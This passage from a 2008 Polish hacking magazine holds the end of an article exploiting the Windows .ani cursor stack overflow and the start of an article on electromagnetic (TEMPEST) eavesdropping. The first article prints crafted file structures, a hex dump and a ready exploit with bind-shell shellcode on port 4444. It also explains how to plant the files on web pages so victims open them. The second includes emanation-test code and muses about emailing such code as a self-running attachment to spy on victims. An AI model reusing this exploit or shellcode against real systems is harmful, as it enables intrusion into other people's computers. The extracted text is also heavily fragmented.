,  czyli  docelowej  porcji  danych 
– w której to zostanie umieszczony 
nasz shellcode. Jedyne, co musimy 
jeszcze zrobić, to wyznaczyć wiel-
kość  tzw.  offsetu,  czyli  przesunię-
cia  w  stosunku  do  nadpisywanego 
adresu powrotu z bieżącej funkcji. 

Przepełnienie  bufora  w  tym 

przypadku  zaowocuje  wykona-
niem  naszego  kodu  przez  Eks-
ploratora  Windows.  A  ściślej  mó-
wiąc  –  kod  zostanie  wykonany 
w  kontekście  Eksploratora,  po-
przez  podłączenie  się  do  tego 
procesu.  Wadą  takiego  rozwiąza-
nia jest to, iż Eskplorator Windows 
działa  w  kontekście  użytkownika, 
który go aktualnie uruchomił. Gdy 
jest to użytkownik z ograniczenia-
mi,  wtedy,  mając  tak  ograniczone 
prawa dostępu, nie możemy zrobić 
praktycznie nic ciekawego. Jednak 
niedobrą praktyką wśród użytkow-
ników  systemu  Windows  stało  się 
stałe  korzystanie  z  konta  admini-
stracyjnego,  co  wydatnie  obniża 
bezpieczeństwo  systemu  opera-
cyjnego. 

Aby  Eksplorator  Windows  wy-

konał  nasz  kod,  jedyne,  co  musi-
my  zrobić  to  po  prostu  umieścić 
odpowiednio  spreparowaną  ikon-
kę (czyli nasz plik z rozszerzeniem 
.ani)  na  stronie  internetowej  bądź 
w folderze na atakowanym kompu-
terze  –  tak,  aby  ofiara  odwiedzi-
ła  tę  lokalizację  i  otworzyła  spre-
parowany plik. Naturalnym wydaje 
się więc umieszczenie danego pli-
ku  (a  raczej  grupy  plików  –  o  tym 
za  chwilę)  na  stronie  internetowej 
i czekanie, aż nasza ofiara odczy-
ta zawartość fałszywego pliku.

Listing 1. 

Struktury związane z formatem pliku .ani

struct

 

ANIChunk

 

{

   

char

 

tag

[

4

];

 // 

tag

 

ASCII

   

DWORD

 

size

;

 //

rozmiar

 

danych

 

w

 

bajtach

   

char

 

data

[

size

];

 // 

dane

}

struct

 

ANIHeader

 

{

   

DWORD

 

rozmiar

 // 

ilo

ść 

bajt

ó

w

 

w

 

nag

łó

wku

 

(

36

 

bajt

ó

w

)

   

DWORD

 

rIkony

;

 // 

ilo

ść 

unikatowych

 

ikon

   

DWORD

 

kroki

;

 // 

ilo

ść 

operacji

 

bitowych

nim

 

zacznie

 

si

ę 

animacja

   

DWORD

 

x

,

y

;

 // 

zarezerwowane

musz

ą 

by

ć 

ustawione

 

na

 

zero

   

DWORD

 

lbit

lcnt

;

 // 

jak

 

wy

ż

ej

   

DWORD

 

licznikSzybkosc

;

 // 

licznik

1

/

60

 

sekundy

je

ś

li

 

nie

 

ustawiono

 

inaczej

   

DWORD

 

flagi

;

 // 

flagi

 

animacji

}

Listing 2. 

Funkcja LoadAniIcon

int

 

LoadAniIcon

(

struct

 

MappedFile

*

 

file

, ...

)

{

    

struct

 

ANIChunk

  

chunk

;

    

struct

 

ANIHeader

 

header

;

        // 

36

-

bajtowa

 

struktura

    ...
    

while

 

(

1

)

 

{

        // 

czytaj

 

pierwsze

 

8

 

bajt

ó

w

        

ReadTag

(

file

&

chunk

);

        
        

switch

 

(

chunk

.

tag

)

 

{

            

case

 '

seq

 '

:

                ...
                
            

case

 '

LIST

'

:

                ...
                
            

case

 '

rate

'

:

                ...
            

case

 '

anih

'

:

                

ReadChunk

(

file

&

chunk

&

header

);

Listing 3. 

Spreparowana struktura ANIChunk – wstęp do zawieszenia 

systemu Windows

struct

 

ANIChunk

 

{

   

char

 

tag

[

4

]=

anih

;

   

DWORD

 

size

=

250

;

   

char

 

data

[

size

]=

AAAA

.....

AAA

;

 //

250

 

razy

 

litera

 

A

}

 

ani

;

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

20

Demonstracja exploita 

– zawieszenie systemu

Zanim  zajmiemy  się  dopracowywa-
niem  exploita,  najpierw  musimy  po-
kazać  jego  działanie,  które  sprowa-
dzi  się  do  dość  prymitywnego  za-
wieszenia  systemu.  Jak  należy  to 
zrobić?  Otóż  wystarczy  spreparo-
wać  odpowiednio  wielką  strukturę 

– tak, aby naruszyć ochronę pamięci 
w systemie. Definicję takiej struktury 
przedstawia Listing 3.

Strukturę  o  pokazanej  na  listin-

gu postaci zapisujemy do pliku .ani
który otwieramy, a następnie cieszy-
my się brakiem stabilności systemu. 
Z  czystej  ciekawości  można  obej-
rzeć plik w edytorze heksadecymal-

nym – wygląda tak, jak jest to poka-
zane na Listingu 4.

Widać,  że  początkowa  zawar-

tość  obejmuje  informacje  dotyczą-
ce typu pliku, dalej znajduje się tag, 
którego  użyliśmy,  aby  możliwe  było 
przepełnienie  bufora.  Potem  nastę-
puje ciąg 250 liter A (naturalnie, na 
listingu  z  oczywistych  powodów  nie 
ma  wszystkich  liter).  Całość  otwar-
ta w Eksploratorze Windows powin-
na zawiesić system.

Offset, problem z ASLR

Windows Vista jest systemem, któ-
ry  firma  Microsoft  reklamuje  ja-
ko niezwykle bezpieczny. W dużej 
mierze nie są to puste słowa. Aby 
znacząco  zwiększyć  bezpieczeń-
stwo  systemu  Windows,  wprowa-
dzono ASLR. ASLR (ang. Address 
Space  Layout  Randomization
,  co 
można  tłumaczyć  na  losowy  roz-
kład  przestrzeni  adresowej
)  jest 
techniką, która – jak sama nazwa 
wskazuje – polega na wprowadze-
niu  pewnego  elementu  losowo-
ści  do  adresów  w  pamięci  biblio-
tek  oraz  funkcji,  z  których  korzy-
sta  program.  Co  to  dla  nas  ozna-
cza?  Otóż  różne  systemy  Win-
dows Vista będą miały odpowied-
nie komponenty pod różnymi adre-
sami  w  pamięci.  Kontynuując,  nie 
pozwoli nam to na ustalenie jedne-
go, stałego offsetu pomiędzy adre-
sem powrotu funkcji a adresem ta-
blicy, w której się aktualnie znajdu-
jemy. Jednak tak naprawdę nie jest 
to szczególna przeszkoda – jak by 
się mogło wydawać.

Pierwszym  krokiem,  jaki  musi-

my przedsięwziąć, jest analiza pli-
ku pod debuggerem. Wybór odpo-
wiedniego narzędzia pozostawiam 
Czytelnikowi,  jednak  godnymi  po-
lecenia są OllyDbg i WinDbg, któ-
re za darmo możemy pobrać z Sie-
ci.  Musimy  dokonać  analizy  pod 
kątem  adresów  w  pamięci  zajmo-
wanych  przez  naszą  tablicę  i  ad-
res powrotu z funkcji. W systemie 
Windows  XP  różnica  ta  wynosiła 
84  bajty,  w  systemach  Vista  wiel-
kość  ta  może  być  inna.  Dlatego 
atakujący  powinien  przygotować 
kilka plików – tak, aby móc spraw-

Listing 4. 

Szkodliwy w plik w edytorze heksadecymalnym

00000000

   

52

 

49

 

46

 

46

  

90

 

00

 

00

 

00

  

41

 

43

 

4F

 4

E

  

61

 6

E

 

69

 

68

   

RIFF

....

ACONanih

00000010

   

24

 

00

 

00

 

00

  

24

 

00

 

00

 

00

  

02

 

00

 

00

 

00

  

00

 

00

 

00

 

00

   

$...$...........

00000020

   

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

   

................

00000030

   

00

 

00

 

00

 

00

  

01

 

00

 

00

 

00

  

61

 6

E

 

69

 

68

  

58

 

00

 

00

 

00

   

........

anihX

...

00000040

   

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

   

AAAAAAAAAAAAAAAA

00000050

   

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

   

AAAAAAAAAAAAAAAA

00000060

   

00

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

   

.

AAAAAAAAAAAAAAA

00000070

   

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

41

 

41

 

41

 

41

  

00

 

00

 

00

 

00

   

AAAAAAAAAAAA

....

00000080

   

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

  

00

 

00

 

00

 

00

   

................

00000090

   

42

 

42

 

42

 

42

  

43

 

43

 

43

 

43

                             

BBBBCCCC

Listing 5. 

Gotowy exploit

char

 

nop

[]=

”\

x90

” //

oczywi

ś

cie

 

w

 

tablicy

 

mamy

 \

x90

 

tyle

 

razy

ile

 

wyni

ó

s

ł 

offset

.

char

 

shellcode

[]=

"

\x

33

\x

c9

\x

83

\x

e9

\x

b0

\x

d9

\x

ee

\x

d9

\x

74

\x

24

\x

f4

\x

5b

\x

81

\x

73

\

x

13

\x

af"

"

\x

99

\x

e8

\x

2f

\x

83

\x

eb

\x

fc

\x

e2

\x

f4

\x

53

\x

f3

\x

03

\x

62

\x

47

\x

60

\x

17

\x

d0"

"

\x

50

\x

f9

\x

63

\x

43

\x

8b

\x

bd

\x

63

\x

6a

\x

93

\x

12

\x

94

\x

2a

\x

d7

\x

98

\x

07

\x

a4"

"

\x

e0

\x

81

\x

63

\x

70

\x

8f

\x

98

\x

03

\x

66

\x

24

\x

ad

\x

63

\x

2e

\x

41

\x

a8

\x

28

\x

b6"

"

\x

03

\x

1d

\x

28

\x

5b

\x

a8

\x

58

\x

22

\x

22

\x

ae

\x

5b

\x

03

\x

db

\x

94

\x

cd

\x

cc

\x

07"

"

\x

da

\x

7c

\x

63

\x

70

\x

8b

\x

98

\x

03

\x

49

\x

24

\x

95

\x

a3

\x

a4

\x

f0

\x

85

\x

e9

\x

c4"

"

\x

ac

\x

b5

\x

63

\x

a6

\x

c3

\x

bd

\x

f4

\x

4e

\x

6c

\x

a8

\x

33

\x

4b

\x

24

\x

da

\x

d8

\x

a4"

"

\x

ef

\x

95

\x

63

\x

5f

\x

b3

\x

34

\x

63

\x

6f

\x

a7

\x

c7

\x

80

\x

a1

\x

e1

\x

97

\x

04

\x

7f"

"

\x

50

\x

4f

\x

8e

\x

7c

\x

c9

\x

f1

\x

db

\x

1d

\x

c7

\x

ee

\x

9b

\x

1d

\x

f0

\x

cd

\x

17

\x

ff"

"

\x

c7

\x

52

\x

05

\x

d3

\x

94

\x

c9

\x

17

\x

f9

\x

f0

\x

10

\x

0d

\x

49

\x

2e

\x

74

\x

e0

\x

2d"

"

\x

fa

\x

f3

\x

ea

\x

d0

\x

7f

\x

f1

\x

31

\x

26

\x

5a

\x

34

\x

bf

\x

d0

\x

79

\x

ca

\x

bb

\x

7c"

"

\x

fc

\x

ca

\x

ab

\x

7c

\x

ec

\x

ca

\x

17

\x

ff

\x

c9

\x

f1

\x

f9

\x

73

\x

c9

\x

ca

\x

61

\x

ce"

"

\x

3a

\x

f1

\x

4c

\x

35

\x

df

\x

5e

\x

bf

\x

d0

\x

79

\x

f3

\x

f8

\x

7e

\x

fa

\x

66

\x

38

\x

47"

"

\x

0b

\x

34

\x

c6

\x

c6

\x

f8

\x

66

\x

3e

\x

7c

\x

fa

\x

66

\x

38

\x

47

\x

4a

\x

d0

\x

6e

\x

66"

"

\x

f8

\x

66

\x

3e

\x

7f

\x

fb

\x

cd

\x

bd

\x

d0

\x

7f

\x

0a

\x

80

\x

c8

\x

d6

\x

5f

\x

91

\x

78"

"

\x

50

\x

4f

\x

bd

\x

d0

\x

7f

\x

ff

\x

82

\x

4b

\x

c9

\x

f1

\x

8b

\x

42

\x

26

\x

7c

\x

82

\x

7f"

"

\x

f6

\x

b0

\x

24

\x

a6

\x

48

\x

f3

\x

ac

\x

a6

\x

4d

\x

a8

\x

28

\x

dc

\x

05

\x

67

\x

aa

\x

02"

"

\x

51

\x

db

\x

c4

\x

bc

\x

22

\x

e3

\x

d0

\x

84

\x

04

\x

32

\x

80

\x

5d

\x

51

\x

2a

\x

fe

\x

d0"

"

\x

da

\x

dd

\x

17

\x

f9

\x

f4

\x

ce

\x

ba

\x

7e

\x

fe

\x

c8

\x

82

\x

2e

\x

fe

\x

c8

\x

bd

\x

7e"

"

\x

50

\x

49

\x

80

\x

82

\x

76

\x

9c

\x

26

\x

7c

\x

50

\x

4f

\x

82

\x

d0

\x

50

\x

ae

\x

17

\x

ff"

"

\x

24

\x

ce

\x

14

\x

ac

\x

6b

\x

fd

\x

17

\x

f9

\x

fd

\x

66

\x

38

\x

47

\x

5f

\x

13

\x

ec

\x

70"

"

\x

fc

\x

66

\x

3e

\x

d0

\x

7f

\x

99

\x

e8

\x

2f"

;

// 

shellcode

 

uruchamia

 

pow

ł

ok

ę 

na

 

porcie

 

4444

struct

 

ANIChunk

 

{

   

char

 

tag

[

4

]=

anih

;

   

DWORD

 

size

=(

sizeof

(

nop

)

 

+

 

sizeof

(

shellcode

));

   

char

 

data

[

size

];

 // 

dane

 

}

 

ani

;

background image

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

21

dzić każdy po kolei, aż ten właści-
wy zadziała. Dzieje się tak, ponie-
waż ASLR nie zabrania nam doko-
nania  kolejnej  próby  sprawdzenia 
adresów w pamięci, zatem można 
w  zasadzie  w  nieskończoność  te-
stować  system,  aż  odnajdziemy 
upragniony adres. Nie jest to trud-
ne  –  wystarczy  umieścić  obrazki 
na  stronie  internetowej  i  czekać, 
aż  ofiara  ją  odwiedzi.  Na  moim 
komputerze offset wyniósł 92 baj-
ty.  Taką  też  wartość  założę  przy 
generowaniu shellcode.

Gotowy exploit

Gotowy  exploit  winien  zawie-
rać  odpowiedni  shellcode  –  najle-
piej  taki,  żeby  uruchamiał  powło-
kę  na  zadanym  porcie,  offset  bę-
dący  w  zasadzie  ciągiem  NOPów 
(czyli  asemblerowych  instrukcji 
o kodzie 0x90, które nic nie robią). 
Następnie  całość  (czyli  struktury 

ANIHeader

 i 

ANIChunk

) winna być za-

pisana  do  pliku,  może  to  być  zro-
bione  choćby  za  pomocą  funkcji 

fprintf()

 języka C. Gotowe struk-

tury  wraz  z  shellcodem  prezentu-
je Listing 5.

Jak  widać  na  Listingu  5,  go-

towy  shellcode  i  ciąg  nopów  na-
leży  przekopiować  tylko  do  tabli-
cy ani.data, używając do tego ce-
lu  np.  funkcji 

memcpy()

.  Urucho-

mienie  exploita  otworzy  na  porcie 
4444  powłokę,  do  której  możemy 
się  połączyć  za  pomocą  progra-
mu telnet.

Podsumowanie

Microsoft  obiecywał,  że  system 
Windows  Vista  będzie  najbez-
pieczniejszym  z  dotychczasowych 
Windowsów.  Mimo  poczynionego 
wysiłku, Vista jest podatna na pew-
ne  błędy,  które  umożliwiają  prze-
jęcie  kontroli  nad  systemem  bądź 
wykonanie  ataku  DoS.  Pozosta-
je tylko mieć nadzieję, że firma na 
serio potraktuje każdy odkryty błąd 
i  szybko  zareaguje,  poprawiając 
go.  Działanie  takie,  w  połącze-
niu ze świadomością użytkownika, 
powinno  sprawić,  że  Vista  rzeczy-
wiście  będzie  tak  bezpieczna,  jak 
twierdzą jej twórcy. l

background image

www.hakin9.org

hakin9 Nr 3/2008

22

Atak

E

misja ujawniająca (ang. compromising 
emanation
),  nazywana  także  ulotem 
elektromagnetycznym, to zjawisko wy-

stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm  jest  zjawiskiem  bardzo  przydat-
nym, to w przypadku emisji ujawniającej jest 
dokładnie  odwrotnie.  Każdy  podzespół  kom-
putera,  przetwarzając  dane,  emituje  część 
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt 
nazwany Eckbox  (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest  to  jedyny  projekt  open  source  teo-

retycznie  pozwalający  wykorzystywać  tech-
nikę  podsłuchu  elektromagnetycznego.  Z 
premedytacją  używam  słowa  teoretycznie
ponieważ  nie  udało  mi  się  znaleźć  potwier-
dzenia faktu działania tego urządzenia i pro-
gramu.  Projekt  powstał  na  bazie  badań  i  ar-
tykułu  napisanego  przez  Wima  van  Ecka, 
holenderskiego  naukowca  z  Neher  Labora-

tories.  Skonstruowane  i  opisane  przez  nie-
go  urządzenie  było  odbiornikiem  fal  elektro-
magnetycznych,  podłączonym  do  komputera 
za pomocą specjalnie przerobionego odbior-
nika  telewizyjnego  oraz  pozwalało  na  prze-
chwycenie  informacji  wyświetlanych  na  mo-
nitorze katodowym CRT. Było to rozwiązanie 
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox
 jest o wiele prostszą wersją tego 
rozwiązania – co wcale nie musi oznaczać, że 
mniej funkcjonalną. Autorzy projektu napisali 

Podsłuch 

elektromagnetyczny

Grzegorz Błoński

stopień trudności

 W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten 

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń 

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to 

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie. 

Nie należy zapominać, że podsłuchać można nie tylko człowieka, 

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

•   co to jest emisja ujawniająca, 
•   co to jest ulot elektromagnetyczny,
•   czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć

•   znać podstawy zjawiska elektromagnetyzmu,
•   znać system Linux i umieć pracować w konsoli,
•   umieć posługiwać się lutownicą,
•   znać podstawy budowy układów elektronicznych.

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

23

program, który – korzystając z por-
tu  równoległego  w  komputerze  PC 
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony 
do  komputera  za  pomocą  specjal-
nego  interfejsu  wykorzystującego 
przetwornik analogowo-cyfrowy.

Problem  ulotu  elektromagne-

tycznego  dotyczy  każdego  urzą-
dzenia  komputerowego,  a  mimo  to 
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa  swoim  wrażliwym  da-
nym.  W  agencjach  i  instytucjach 
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane 
do utrzymania określonych informa-
cji w ścisłej tajemnicy.

W USA powstał w latach sześć-

dziesiątych  projekt  nazwany  TEM-
PEST  (Transient  ElectroMagnetic 
Pulse  Emanation  STandard
),  któ-
ry  określa  dopuszczalne  poziomy 
niepożądanych  emisji  fal  elektro-
magnetycznych.  Projekt  uwzględ-
nia  trzy  klasy  (poziomy)  bezpie-
czeństwa:

•   Level 1 – AMSG 720 B,
•   Level 2 – AMSG 788,
•   Level 3 – AMSG 784.

Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST  są  sprzedawane  na  terenie 
państw  członkowskich  NATO.  Jed-
nak,  aby  móc  takie  urządzenie  na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.

Po  dokładniejsze  informacje  na 

temat  programu  TEMPEST  odsyłam 
do  Internetu,  na  przykład  na  stronę 
www.iniejawna.pl.

Technikalia

Rozpatrując  możliwości  podsłu-
chania  komputera  przy  wykorzy-
staniu  kompromitujących  emana-
cji,  mamy  możliwość  zastosowa-
nia  technik  inwazyjnych  oraz  nie-
inwazyjnych.

Techniki inwazyjne mogą opierać 

się na wstrzyknięciu w system-ofia-
rę  oprogramowania,  działającego 
w  taki  sposób,  że  bez  wiedzy  użyt-
kownika  będzie  wykorzystywało 
układy  elektroniczne  komputera  ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem  wykorzystania  ta-

kiej  techniki  jest  program  au-
torstwa  Erika  Thiele,  nazwa-
ny  dźwięcznie  Tempest  for  Eliza 
(http://www.erikyyy.de/tempest). 
Program  ten  pozwala  –  przy  wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-

łać muzykę w eter – można ją ode-
brać  na  standardowym  radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do  wydania  odpowiedniej  ko-

mendy  potrzebne  są  nam  parame-
try  naszego  podsystemu  graficzne-
go, takie jak:

•   częstotliwość  rysowania  piksela 

(Pixel Clock),

Listing 1. 

Program tempest-cpu autorstwa Berke Duraka

#include 

<stdlib.h>

#include 

<stdio.h>

typedef

 

unsigned

 

char

 

u8

;

#define BUF_SIZE (1<<18)

void

 

tempest_cpu_pattern

 

(

int

 

count

volatile

 

int

 

*

buf

int

 

a

int

 

b

)

{

   

int

 

i

j

;

   

int

 

x1

x2

x3

x4

;

   

x1

 

=

 

0

;

 

x2

 

=

 

0

;

 

x3

 

=

 

0

;

 

x4

 

=

 

0

;

   

i

 

=

 

0

;

   

while

 

(

count

 

--)

 

{

      

for

 

(

j

 

=

 

0

;

 

j

<

a

;

 

j

++)

 

{

         

x1

 ^

=

 

0x55330fff

 

+

 

i

;

         

x1

 

<<=

 

1

;

         

buf

[

i

]

 

=

 

x1

;

         

if

 

(++

 

i

 

==

 

BUF_SIZE

)

 

i

 

=

 

0

;

      

}

      

for

 

(

j

 

=

 

0

;

 

j

<

b

;

 

j

++)

 

{

         

asm

 

(

"nop"

);

 

/* this instruction is available on nearly every CPU :

) */

      

}

   

}

}

int

 

main

 

(

int

 

argc

char

 

**

argv

)

{

   

int

 

count1

count2

;

   

int

 

a1

b1

;

   

int

 

a2

b2

;

   

int

 

*

c

;

   

int

 

a

b

;

   

if

 

(

argc

 

!=

 

7

)

 

{

      

fprintf

 

(

stderr

"usage: %s a_low b_low a_high b_high count_low 

count_high

\n

"

);

      

exit

 

(

EXIT_FAILURE

);

   

}

   

a1

 

=

 

atoi

 

(

argv

[

1

]);

   

b1

 

=

 

atoi

 

(

argv

[

2

]);

   

a2

 

=

 

atoi

 

(

argv

[

3

]);

   

b2

 

=

 

atoi

 

(

argv

[

4

]);

   

count1

 

=

 

atoi

 

(

argv

[

5

]);

   

count2

 

=

 

atoi

 

(

argv

[

6

]);

   

c

 

=

 

malloc

 

(

BUF_SIZE

 

*

 

sizeof

 

(

int

));

   

for

 

(;;)

 

{

      

for

 

(

a

 

=

 

a1

b

 

=

 

b1

;

 

a

 

<

 

a2

 

&&

 

b

 

<

 

b2

;

 

a

 

+=

 

(

a2

 

-

 

a1

)

 

>>

 

4

b

 

+=

 

(

b2

 

-

 

b1

)

 

>>

4

)

 

{

         

tempest_cpu_pattern

 

(

count1

c

a

b

);

      

}

   

}

   

return

 

0

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

24

•   rozdzielczość  pozioma  (HDi-

splay),

•   rozdzielczość  pionowa  (VDi-

splay),

•   całkowita rozdzielczość pozioma 

(HTotal).

Po  wydaniu  przykładowego  pole-
cenia:

#./tempest_for_eliza 108000000  1280
  1024  1688  10000000  songs/starwars

program  użyje  wartości  108MHz 
jako  częstotliwości  rysowania  pik-
sela,  rozdzielczości  okna  1280  x 
1024  oraz  wartości  HTotal  równej 
1688  pikseli.  Kolejne  parametry  to 
10MHz  (jako  częstotliwość  nośna, 
na której będzie emitowany dźwięk) 
i  wreszcie  ścieżka  do  pliku  dźwię-
kowego.  Na  ekranie  monitora  po-
jawi  się  dynamicznie  zmieniający 
się obraz czarno-białych linii pozio-
mych,  których  grubość  i  szybkość 
zmian  uwarunkowana  jest  odtwa-
rzanym z pliku dźwiękiem.

Dźwięki emitowane przez moni-

tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym  odbiorniku  radiowym 
w zakresie fal krótkich w okolicach 
częstotliwości  10MHz  nadawa-
ny  dźwięk  bardzo  dobrze  słychać. 
Oprócz  tej  częstotliwości  odebra-
łem emitowane dźwięki za pomocą 
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455 
MHz, 26,755 MHz, 27,755 MHz oraz 
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej 
z wymienionych częstotliwości. Od-
ległość  anteny  wynosiła  początko-
wo jeden metr – w tych warunkach 

siła  sygnału  była  na  poziomie  3µV 
do  6µV  (według  wskazań  transce-
ivera  Zodiac  Tokyo),  bez  względu 
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła 
sygnału spadła do poziomu 0,39µV. 
Dźwięki  nadal  były  słyszalne,  lecz 
towarzyszyły  im  wyraźne  szumy, 
których intensywność zmieniała się 
w zależności od polaryzacji anteny. 
Podczas pomiarów używałem ante-
ny MagLoop. 

Przy okazji tych eksperymentów 

odkryłem,  że  podłączone  do  kom-
putera urządzenia typu KVM (Key-
board  Video  Mouse
)  w  trakcie  te-
stów emitują tak silnie wzmocnione 
sygnały  z  karty  graficznej,  że  bez 
problemu  mogłem  odebrać  czyste, 
słyszalne  dźwięki  w  pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła  sygnału  była  tak  duża,  że  wskaź-
nik transceivera Zodiac Tokyo wska-
zywał  50µV!  Sugeruje  to,  że  sygnał 
mógł być swobodnie odebrany w bar-
dzo  dużej  odległości,  przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów. 

W  związku  z  tym  faktem  uwa-

żam,  że  używanie  przełączników 
KVM w systemach komputerowych 
zawierających dane tajne lub wraż-
liwe  jest  bardzo  ryzykowne.  Prze-
łącznik, którego używałem, to dzie-
ło  firmy  D-link  (model  DKVM-2K) 

który,  jako  urządzenie  pozwalają-
ce  na  korzystanie  z  jednego  ze-
stawu  klawiatury,  myszy  i  monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym 
przeznaczeniem.  Bardzo  możliwe, 
że  jest  na  rynku  sporo  przełączni-
ków  pozbawionych  takiej  przypa-
dłości
. Jednak tak czy inaczej, za-
nim  ktoś  zechce  użyć  jakiegokol-
wiek przełącznika, powinien się za-
stanowić  nad  niechcianym  dodat-
kiem  
w  postaci  dużej  emisji  niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.

Erik Thiele bazował przy pracy 

nad  swoim  programem  na  innym 
projekcie  (autorstwa  Pekki  Riiko-
nena), który potrafił tylko emitować 
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło  już  więcej  programów  wykorzy-
stujących  zjawisko  niepożądane-
go  ulotu  elektromagnetycznego 
w  komputerach.  Autorem  kilku  ta-
kich  narzędzi  jest  Berke  Durak 
(http://abaababa.ouvaton.org/tem-
pest
).  Jego  programy  wykorzystu-
ją do ukrytej transmisji danych dro-
gą  radiową  zarówno  wewnętrzne, 
jak i zewnętrzne podzespoły kom-
putera.

Pierwszym  programem  Ber-

ke  Duraka,  o  najmniej  skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2. 

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1. 

Rozkład pola 

elektromagnetycznego wokół 
odcinka przewodnika prądu 

�������������

��������������������

������������������

�����

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

25

pest-cpu.  Program działający w linii 
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj 
przesyłanych  dźwięków,  wysokość 
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do 
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko 
wykryta.  Jest  jednak  dobrym  przy-
kładem  potwierdzającym  fakt  ist-
nienia zjawiska ulotu elektromagne-
tycznego.  Procesor  emituje  niezbyt 
silne  pole  elektromagnetyczne,  jed-
nak  jest  ono  możliwe  do  odebrania 
w odległości do dwóch metrów przy 
pomocy  zwykłego  radioodbiornika 
na  fale  długie,  przy  czym  odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje 
pochodzące  od  innych  pracujących 
w komputerze podzespołów.

Kolejny program tempest-crt tego 

samego  autora  wykorzystuje  –  po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz 
tempest-mem  –  wykorzystują  ja-
ko nadajnik odpowiednio szynę PCI 
(i urządzenia na niej pracujące) oraz 
pamięć operacyjną. Ich przydatność 
do  wykorzystania  w  ataku  jest  rów-
nież  niewielka,  ponieważ  pole  elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo 
słabsze  niż  wytwarzane  przez  mo-
nitory  (w  szczególności  CRT,  choć 
LCD  także  charakteryzują  się  dość 
pokaźnym niepożądanym ulotem).

W  tym  momencie  należy  wspo-

mnieć,  że  urządzenia  pracujące  na 
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach  serwerowych  –  także 
emitują  dość  silne  pola  elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI 
i w przypadku braku odpowiedniego 
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można 
wykorzystać  podzespoły  kompute-
ra  w  celu  wysyłania  informacji  po-

przez zastosowanie odpowiedniego 
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy 
programów  Duraka,  teoretycznie 
może  napisać  aplikację,  która  po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej  modyfikacji  programu 

Rysunek 3. 

Transceiver Zodiac 

Tokyo w czasie odbierania sygnału 

Rysunek 4. 

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5. 

Widok zmontowanego urządzenia

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

26

można go dodać jako załącznik do 
maila, który automatycznie się uru-
chomi,  jeśli  nieuważny  internauta 
w  niego  kliknie.  Choć  dotychczas 
nie  ujawniono  wirusa  czy  innego 
złośliwego  kodu  wykorzystujące-
go taką technikę do przechwycenia 
informacji,  uważam,  że  zagrożenie 
związane z takimi atakami jest dość 
duże. Całkiem możliwe, że już ktoś 
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie 
wiemy.

